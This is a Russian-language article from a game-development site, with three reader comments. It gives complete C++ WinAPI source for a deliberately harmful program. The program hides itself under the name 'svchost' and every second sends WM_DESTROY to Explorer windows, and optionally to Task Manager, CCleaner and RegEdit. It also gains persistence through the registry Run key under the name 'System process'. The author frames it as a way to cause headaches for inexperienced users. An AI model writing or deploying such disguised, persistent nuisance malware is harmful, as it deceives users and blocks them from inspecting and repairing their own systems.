Суббота, 21 Декабря 2024, 18:46

Приветствую Вас Гость

Меню сайта
Категории каталога
Создание игр [358]
Статьи об общих понятиях связанных с созданием игр.
Программирование [85]
Гайды по программированию на разных ЯП.
Движки и Гейммейкеры [151]
Статьи о программах для создания игр, уроки и описания.
Софт [44]
Различные программы, в том числе в помощь игроделам.
2D-графика [14]
Уроки по рисованию, растр, пиксель-арт, создание спрайтов и пр.
3D-графика [17]
Уроки по моделированию, ландшафт, модели, текстурирование и пр.
Моддинг игр [5]
Модификация компьютерных игр, создание дополнений, перевод, хакинг.
Игры [169]
Статьи об играх, в том числе и сделанных на гейммейкерах.
Разное [133]
Статьи, которые не вошли в определённые разделы.
Наш опрос
Сколько вы уже создали своих игр?
Всего ответов: 16631
Главная » Статьи » Разное

Простой пример "плохой" программы
Начну с того, что программы могут обмениваться сообщениями. То есть, нажав на кнопку в одной, можно вывести текст в другой. Но это касается не только текста и графики. Сообщение передаётся не таким типом, как "Найти процесс ТАКОЙ_ТО и сделай то то конкретно", а так, сначала программа находит другую программу либо по дескриптору, либо, если он не известен, по заголовку окна. После нахождения программой другого окна, можно передать обычное сообщение PostMessage, в котором указывается на ту команду оконной процедуры, которую необходимо выполнить. Например WM_PAINT.
Предположительно, почти любой (ибо я не проверял) программе можно послать сообщение о её закрытии, путём передачи команды WM_DESTROY.

Я решил проверить этот способ, и запустил программу Finale 2010. Она была запущена, и одновременно была открыта папка где она лежала. Заголовок папки тоже был как и в программе "Finale 2010". Но после тестирования, программа не закрылась. И к своему ужасу я увидел, как папка Finale 2010 стала пустой. Я удивился, как всё смогло удалиться, если программа работает. Оказывается, папка получила сообщение WM_DESTROY, но не закрылась. Может быть это Баг, может глюк Windows. Открыл эту папку в новом окне, и все файлы были на месте. Эта ситуация натолкнула меня на создание вредной программы, которая посылает WM_DESTROY указанным папкам.

Нам нужно создать пустой проект Win32

Во вкладке Application Settings ставим галочку на Empty project. То есть - пустой проект.

В свойствах проекта нужно указать Character Set как Use Multy-Byte Character Set

Можно писать и с Unicode Character Set, но только нужно будет указывать в некоторым местах дополнительные символы.

Код добавляется по степенно, то есть, копируя и вставляя вы получите полный исходный код программы.

Код
#include <Windows.h>

int InitApp(HINSTANCE a1);
HWND hWnd, hWnd2, hWnd3;
#define TIMER_SECOND 1

Указываем заголовочный файл, прототип функции инициализации окна, дескрипторы окон, и макрос, указывающий время периода в секундах, по истечении которого программа отсылает сообщение о закрытии окна.

Код
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hinst, PSTR str, int OknIcon)
{
  MSG msg;

  if(InitApp(hInst)) return 0;
   
  while(GetMessage((LPMSG)&msg,NULL,0,0))
  {
  DispatchMessage((LPMSG)&msg);
  TranslateMessage(&msg);
   
  }
  return msg.wParam;
}

Стандартная WinMain функция.

Код
LRESULT APIENTRY InputWndProc(HWND hWnd, UINT message,
  WPARAM wParam, LPARAM lParam)
{

Начало кода оконной функции.

Код
SetTimer( hWnd, TIMER_SECOND, 1000, NULL );

Устанавливаем таймер.

Код
switch(message)
  {
  case WM_DESTROY:
  PostQuitMessage(0);
  return 0;

Обработка сообщений. Команда WM_DESTROY как бы означает нажатие на красный крестик.
В нашем случае окно не будет отображаться, и данный case по сути будет лишним.

Код
case WM_TIMER:

  switch (wParam)
  {
  case TIMER_SECOND:
   
  hWnd2 = FindWindow(0,"Мой компьютер");
  hWnd3 = FindWindow(0,"Локальный диск (C:)");
   
  if(hWnd2){ PostMessage(hWnd2,WM_DESTROY,(WPARAM)hWnd,0);}
  if(hWnd3){ PostMessage(hWnd3,WM_DESTROY,(WPARAM)hWnd,0);}
   
  break;
  }
  default:
   
  return DefWindowProc(hWnd, message,wParam, lParam);
  }

   
  return 0;
}

Теперь обработка сообщения, в случае если оно поступило от таймера. Когда отсчитает 1 секунда, выполниться case TIMER_SECOND: Это сделано специально чтобы нельзя было открыть Мой компьютер в нескольких окнах - они все будут неработоспособными.

В дескриптор hWnd2 и hWnd3 мы вносим дескрипторы окон, имеющие соответствующие заголовки. Далее по условию, окну с указанным дескриптором посылается сообщение о закрытии программы.

Код
int InitApp(HINSTANCE hInst)
{
  LPCTSTR Name = "svchost";
  WNDCLASS wc;

   
   
  wc.hInstance = hInst;
  wc.hCursor = LoadCursor(NULL, IDC_CROSS);
  wc.hIcon = LoadIcon(NULL, IDI_ASTERISK);
  wc.lpszMenuName = NULL;
  wc.lpszClassName = Name;
  wc.hbrBackground = NULL;
  wc.style = CS_VREDRAW | CS_HREDRAW;
  wc.cbClsExtra = 0;
  wc.cbWndExtra = 0;
  wc.lpfnWndProc = InputWndProc;

   
  ATOM WNDClass= RegisterClass(&wc);
   
  if(!WNDClass) return 1;

  hWnd = CreateWindow(Name, NULL, NULL, 0, 0, 80, 10, NULL, NULL, hInst, NULL);
  if(!hWnd) return 2;

  return 0;
}

Стандартная функция инициализации окна. Окно у нас не отображается, процесс можно увидеть только в Диспетчере задач.

Это всё. Достаточно для головной боли неопытного пользователя. Можно ужесточить ситуацию, указав больше названий окон, программ. Можно добавить программу в автозагрузку, вставив код
Код
TCHAR szPath[MAX_PATH];  
  HKEY newValue;

  GetModuleFileName(NULL,szPath,MAX_PATH);  
  RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
  RegSetValueEx(newValue,"System process",0,REG_SZ,(LPBYTE)szPath,sizeof(szPath));
  RegCloseKey(newValue);

в оконную процедуру, выше SetTimer.

Приложение будет запускаться каждый раз, и будет висеть с названием svchost.exe Однако знающие увидят, что оно запущено от имени администратора, и её можно закрыть без сбоя системы.

Так же можно сделать чтобы диспетчер задач закрывался как и остальные окна. Для этого, в глобальных переменных определяем ещё один дескриптор hWnd4, и вставляем код в case TIMER_SECOND:
Код
hWnd4 = FindWindow(0,"Диспетчер задач Windows");
  if(hWnd4){ PostMessage(hWnd4,WM_DESTROY,(WPARAM)hWnd,0);}

Запустите Ccleaner и найдите в автозагрузке наш процесс. Можно попробовать закрыть и Ccleaner, и RegEdit...

Конечно, можно сделать более вредную программу используя другие алгоритмы. Но я только учусь, только осваиваю сообщения и всё. Но и этих знаний достаточно. Тестировал на Windows XP.

Будьте осторожны, и лучше изучите предназначения процессов, отображённых диспетчере задач!

Пример работы:

Категория: Разное | Добавил: TrueNathan (11 Апреля 2013) | Автор: True Nathan
Просмотров: 5552 | Комментарии: 3 | Рейтинг: 3.9/8 |
Теги: Пример, Windows, код, TIMER, взлом, программирование, Реестр, WinAPI, C++, regedit
Дополнительные опции:
Также если вы считаете, что данный материал мог быть интересен и полезен кому-то из ваших друзей, то вы бы могли посоветовать его, отправив сообщение на e-mail друга:

Игровые объявления и предложения:
Если вас заинтересовал материал «Простой пример "плохой" программы», и вы бы хотели прочесть что-то на эту же тему, то вы можете воспользоваться списком схожих материалов ниже. Данный список сформирован автоматически по тематическим меткам раздела. Предлагаются такие схожие материалы: Если вы ведёте свой блог, микроблог, либо участвуете в какой-то популярной социальной сети, то вы можете быстро поделиться данной заметкой со своими друзьями и посетителями.

Всего комментариев: 3
+3-
3 GC-Vic   (14 Апреля 2013 23:03) [Материал]
GC-VicВсё это уже давно блокируют антивирусы.

+5-
2 TrueNathan   (13 Апреля 2013 15:02) [Материал]
TrueNathanБлагодаря команде WM_DESTROY: можно закрыть эту программу, написав другую.
Основываясь на коде, добавив автозапуск, можно по сути сделать не "плохую" программу, а программу ЗАЩИТЫ компьютера от использования его другими лицами! То есть, кто запустит компьютер, не сможет нормально с ним работать. Программа будет мешать этому.
Можно написать программу отключения ЭТОЙ защиты, например, засунув её в папку С:\Documents and Settings\(имя юзера)
И уже через командную строку запустить дезактиватор. И защита будет отключена. Конечно, это явно крайний случай защиты компа, оригинальнее простого пароля. Да и несомненно продвинутые пользователи используют СТОРОННИЕ средства защиты, куда уж использовать эту "поделку"...

+2-
1 TLT   (12 Апреля 2013 10:48) [Материал]
TLTНичего нового или сверхъестественного, но примерно так и работают вредоносные программы, выпрашивающие СМС и пр.

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск по сайту
10 случ. движков
  • Unity
  • iFAction
  • GameGuru MAX
  • G3D Engine
  • Starling
  • Pocket Platformer
  • ADRIFT
  • MegaZeux
  • RPG in a Box
  • Haaf's Game Engine
  • Друзья сайта
    Игровой форум GFAQ.ru Перевод консольных игр
    Все права сохранены. GcUp.ru © 2008-2024 Рейтинг